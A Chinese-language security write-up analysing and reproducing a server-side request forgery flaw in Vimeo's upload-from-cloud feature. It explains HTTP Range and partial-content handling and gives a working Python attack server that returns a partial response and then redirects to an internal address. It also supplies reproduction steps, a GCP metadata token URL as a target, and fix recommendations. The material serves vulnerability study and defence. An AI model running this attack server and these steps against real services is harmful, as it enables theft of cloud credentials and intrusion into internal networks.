Vimeo视频断点续传功能导致的SSRF漏洞复现
字数 1283 2025-08-25 22:58:20
Vimeo视频断点续传功能导致的SSRF漏洞分析与复现
漏洞概述
本漏洞是Vimeo视频平台在实现云上传视频功能时,由于断点续传机制处理不当导致的服务器端请求伪造(SSRF)漏洞。攻击者可以利用此漏洞让Vimeo服务器向内部网络或其他受保护资源发起请求,从而获取敏感信息。
漏洞背景
Vimeo支持用户从Google Drive等云端存储服务上传视频文件。在实现这一功能时,Vimeo后端服务器会直接从提供的URL获取视频文件。为了支持大文件上传,系统采用了HTTP断点续传技术,但在实现过程中存在安全缺陷。
技术原理
HTTP断点续传机制
HTTP/1.1协议(RFC 2616)支持获取文件的部分内容,主要通过以下两个头部字段实现:
-
Range请求头 - 客户端指定请求的字节范围:
Range: bytes=0-499 // 第0-499字节 Range: bytes=500-999 // 第500-999字节 Range: bytes=-500 // 最后500字节 Range: bytes=500- // 从第500字节到文件结束 Range: bytes=0-0,-1 // 第一个和最后一个字节 Range: bytes=500-600,601-999 // 多个范围 -
Content-Range响应头 - 服务器返回当前接受的范围和文件总大小:
Content-Range: bytes 0-499/22400
服务器响应状态码:
200 OK- 完整文件响应206 Partial Content- 部分内容响应(断点续传)
漏洞触发流程
- Vimeo服务器从攻击者提供的URL请求视频文件
- 攻击者服务器响应部分内容(如只返回前200字节)
- Vimeo服务器存储这部分内容,然后请求剩余部分
- 攻击者服务器响应302跳转,指向内部服务(如metadata服务)
- Vimeo服务器跟随跳转并获取内部服务响应
- 攻击者通过下载"original"视频选项获取SSRF响应内容
漏洞复现步骤
环境准备
- 准备一个可控的服务器(如VPS)
- 编写特殊的HTTP服务器代码(见下文)
- 准备一个Vimeo账号(可能需要高级会员以下载original视频)
攻击服务器代码示例
from http.server import BaseHTTPRequestHandler, HTTPServer
time = 3
length = 0
class testHTTPServer_RequestHandler(BaseHTTPRequestHandler):
def __init__(self,a,b,c):
BaseHTTPRequestHandler.__init__(self,a,b,c)
def do_GET(self):
global time,length
print(self.headers)
if time == 3:
# 第一次响应:返回部分内容
self.send_response(206)
self.send_header('Content-Range','bytes 0-0/20188184')
self.end_headers()
time -= 1
elif time == 2:
# 第二次响应:返回部分文件内容
with open('part1','rb') as f:
content = f.read()
self.send_response(200)
self.send_header('Content-Length',len(content))
self.end_headers()
self.wfile.write(content)
time -= 1
elif time == 1:
# 第三次响应:返回302跳转
lenth = 3
self.send_response(302)
self.send_header('Location','http://144.202.121.185/test.txt')
self.end_headers()
time -= 1
else:
# 其他响应
with open('part2','rb') as f:
content = f.read()
content = content[length:]
self.send_response(200)
self.send_header('Content-Length',len(content))
self.end_headers()
self.wfile.write(content)
time =3
def run():
port = 80
print('Starting server, port:',port)
server_address=('',port)
httpd=HTTPServer(server_address,testHTTPServer_RequestHandler)
print('Running server...')
httpd.serve_forever()
if __name__ == '__main__':
run()
复现过程
- 启动上述HTTP服务器
- 在Vimeo中选择"从Google Drive上传"功能
- 拦截上传请求,将视频URL修改为攻击者服务器地址
- 服务器按计划响应部分内容后返回302跳转
- Vimeo服务器会跟随跳转并请求指定资源
- 攻击者下载视频的original版本获取SSRF响应内容
漏洞利用场景
-
云服务元数据访问:如访问GCP的metadata服务获取临时凭证
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token -
内部网络探测:扫描Vimeo服务器所在内网的其他服务
-
敏感信息泄露:访问服务器本地的敏感文件或服务
漏洞修复建议
-
域名白名单:限制只能从可信的云存储服务(如Google Drive)获取文件
-
禁止跳转:在断点续传过程中禁止跟随302/301等跳转
-
URL验证:严格验证用户提供的URL,禁止内部IP和特殊域名
-
内容验证:对下载的文件内容进行验证,确保是有效的视频文件
漏洞利用条件
- 后端服务器采用断点续传方式请求大文件
- 后端服务器从URL中直接请求文件
- 后端服务器会响应断点续传过程中的302跳转
- 攻击者能够控制或预测文件请求的URL
总结
此漏洞展示了在实现复杂功能(如断点续传)时可能引入的安全风险。开发人员在实现类似功能时,不仅需要考虑功能完整性,还需要考虑各种异常情况和安全边界。特别是当系统需要从用户提供的URL获取资源时,必须实施严格的安全控制措施。